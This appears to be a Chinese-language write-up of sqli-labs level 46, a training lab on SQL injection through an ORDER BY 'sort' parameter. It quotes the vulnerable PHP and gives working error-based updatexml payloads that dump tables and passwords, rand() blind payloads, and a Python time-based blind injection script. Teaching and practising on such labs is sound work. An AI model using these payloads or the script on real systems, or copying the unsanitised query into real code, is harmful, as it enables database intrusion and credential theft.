sql-labs第46关 order by盲注
来到了第46关
进入关卡发现让我们输入的参数为sort，我们输入?sort=1尝试：
输入?sort=2,3,发现表格按照顺序进行排列输出，明显是使用了order by相关的函数。
我们将参数变成1'进行尝试，就会报错：
查看源码:
$sql = "SELECT * FROM users ORDER BY $id";
通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入：
分别显示升序和降序的表格，说明此处是注入点，即注入点在order by后的参数中，而order by不同于在where后的注入，不能使用union等进行注入。
php
<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysqli_query($con1, $sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysqli_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-46.jpg" /><br>';
echo "Lesson Concept and code Idea by <b>D4rk</b>";
}
?>该代码使用：id=_GET['sort']; 使用GET方式来获取sort参数
1.报错注入：
?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));爆破出其数据库名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) 爆破出数据库中所有的表
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)爆破出user中所有的列?
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)爆破出其数据改变limit数值改变数据。
2.rand（）盲注：
rand（）rand()函数就是可以产生出一个随机数，随机生成介于0和1之间的新的随机实数。
?sort=rand(false);
?sort=rand(ture);
两个数值不相同，构造出一个布尔盲注或者延时盲注的payload：
?sort=rand(ascii(mid((select database()),1,1))=114)；
?sort=rand(ascii(mid((select database()),1,1)=115)；
?sort=rand(ascii(mid((select database()),1,1))=116)；
3.盲注脚本：
python
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 构造时间盲注payload
payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
# 传参
params = {"sort": payload}
start_time = time.time()
# 异常处理，这里我设定了超时时间为20s
try:
r = requests.get(url, params=params, timeout=20)
except requests.Timeout:
print("Request timed out.")
continue
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'
inject_database(url)
得到数据库名，通过修改脚本payload得到其他数据
payload = "if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1))>%d,sleep(1),0)"%(i,mid)
